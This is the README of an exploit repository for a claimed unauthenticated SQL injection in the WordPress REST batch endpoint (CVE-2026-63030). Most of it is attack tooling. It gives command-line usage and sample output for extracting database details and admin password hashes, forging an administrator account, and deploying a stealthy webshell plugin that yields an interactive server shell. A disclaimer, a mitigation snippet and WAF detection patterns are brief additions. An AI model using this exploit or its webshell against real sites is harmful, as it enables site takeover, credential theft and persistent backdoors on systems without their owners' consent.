
CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept
WordPress REST Batch Route-Confusion SQL Injection (CVE-2026-63030) Proof of Concept
Research, Exploit Development & Documentation by Ch4120N
This repository and the accompanying tool (exploit.py) are intended strictly for educational purposes, authorized penetration testing, and security research.
Using this exploit against targets without explicit, prior, written consent is illegal and violates computer fraud and abuse laws globally. The author (Ch4120N) assumes absolutely no liability for any misuse, damage, or legal consequences arising from the use of this code. Always operate within the bounds of the law and obtain proper authorization.
CVE-2026-63030 is a critical, unauthenticated vulnerability affecting the WordPress REST API. It exploits a route-confusion bug within the nested batch processing endpoint (/wp-json/batch/v1 or /?rest_route=/batch/v1).
When WordPress processes a batch of REST API requests, it validates each sub-request against its specific schema before execution. However, due to a flaw in how the internal routing pointer handles deliberately malformed paths (e.g., ///), the validation schema becomes desynchronized from the actual execution handler.
/wp/v2/users endpoint (which doesn't accept author_exclude) to be executed by the /wp/v2/posts handler. The unsanitized author_exclude parameter is passed directly into WP_Query's author__not_in clause, resulting in Unauthenticated SQL Injection.oembed_cache post IDs. The exploit then uses a Customizer changeset payload to poison the navigation menu cache, tricking WordPress into executing a user-creation request under the context of an existing administrator.pip install required.exploit.py).WP_Post row (1 request per value).EXTRACTVALUE() XPATH errors if WP_DEBUG_DISPLAY is enabled.cd support).No third-party packages are required. Ensure you have Python 3.8 or higher installed.
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
The exploit is divided into three main sub-commands: check, read, and shell.
These options apply to all sub-commands:
| Option | Description | Default |
|---|---|---|
url | Target base URL (e.g., http://target.com) | Required |
--rest-route | Use /?rest_route=/batch/v1 instead of /wp-json/batch/v1 (for sites with permalinks disabled). | False |
--timeout | HTTP request timeout in seconds. | 30.0 |
--proxy | HTTP/HTTPS proxy (e.g., http://127.0.0.1:8080). | None |
check - Vulnerability DetectionSafely probes the target to confirm the presence of the route-confusion markers and tests SQLi timing without extracting data.
| Option | Description | Default |
|---|---|---|
--sleep | SQL timing delay (seconds) used by the --confirm-sqli fallback. | 3.0 |
--samples | Number of baseline/delayed SQL timing pairs to test. | 3 |
--confirm-sqli | Send an active SQLi confirmation payload (adds a slight delay). | False |
read - Database ExtractionExtracts data directly from the database via the SQL injection.
| Option | Description | Default |
|---|---|---|
--preset | Quick extraction presets: fingerprint (version/user/db) or users (logins/hashes). | fingerprint |
--query | Execute a custom scalar SQL expression (e.g., "SELECT @@version"). | None |
--prefix | Database table prefix. | wp_ |
--max-length | Maximum characters to extract per value. | 128 |
--technique | Extraction technique: auto, union, error, or blind. | auto |
shell - Remote Code ExecutionDeploys the webshell and executes commands. If no credentials are provided, it automatically triggers the pre-auth admin creation bridge.
| Option | Description | Default |
|---|---|---|
--user | Admin username. (Omit to use the pre-auth bridge). | None |
--password | Admin password. (Omit to use the pre-auth bridge). | None |
--cmd | Single command to run on the target. | None |
-i, --interactive | Open an interactive shell (REPL) after deploying. | False |
Below are real-world examples of the tool in action.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
Notice how the tool automatically creates an admin account, deploys the shell, and cleans up after exiting.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
The core of the exploit relies on injecting _DESYNC_PRIMER = {"method": "POST", "path": "///"}. This invalid URL forces WordPress's internal routing to generate a WP_Error for the first sub-request. This shifts the internal pointer, causing the second sub-request to be validated against one schema but executed by the handler of the third sub-request. This smuggles the author_exclude parameter into the WP_Query.
Instead of slow blind SQLi, the tool uses a UNION SELECT to inject a fully formed, fake wp_posts row. By setting orderby=none and per_page=500, it prevents WP_Query from splitting the query. The injected post_title contains the hex-encoded result of the target SQL expression, wrapped in || delimiters, which is reflected directly in the REST API JSON response.
The deployed PHP plugin is designed for high stealth:
wp_a1b2c3d4.php).t) and command (c) via GET parameters.hash_equals() to prevent timing attacks on the token.chdir) to prevent path disclosure.EXPLOIT::...::END markers for clean parsing by the Python client.mu-plugins):
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
/batch/v1 requests containing author_exclude in the URI.UNION, SLEEP(), or EXTRACTVALUE in URL parameters./// in REST API requests.WP_DEBUG_DISPLAY is set to false in wp-config.php to prevent error-based SQLi leakage."With great power comes great responsibility. Use this knowledge to defend, not to destroy."
— Ch4120N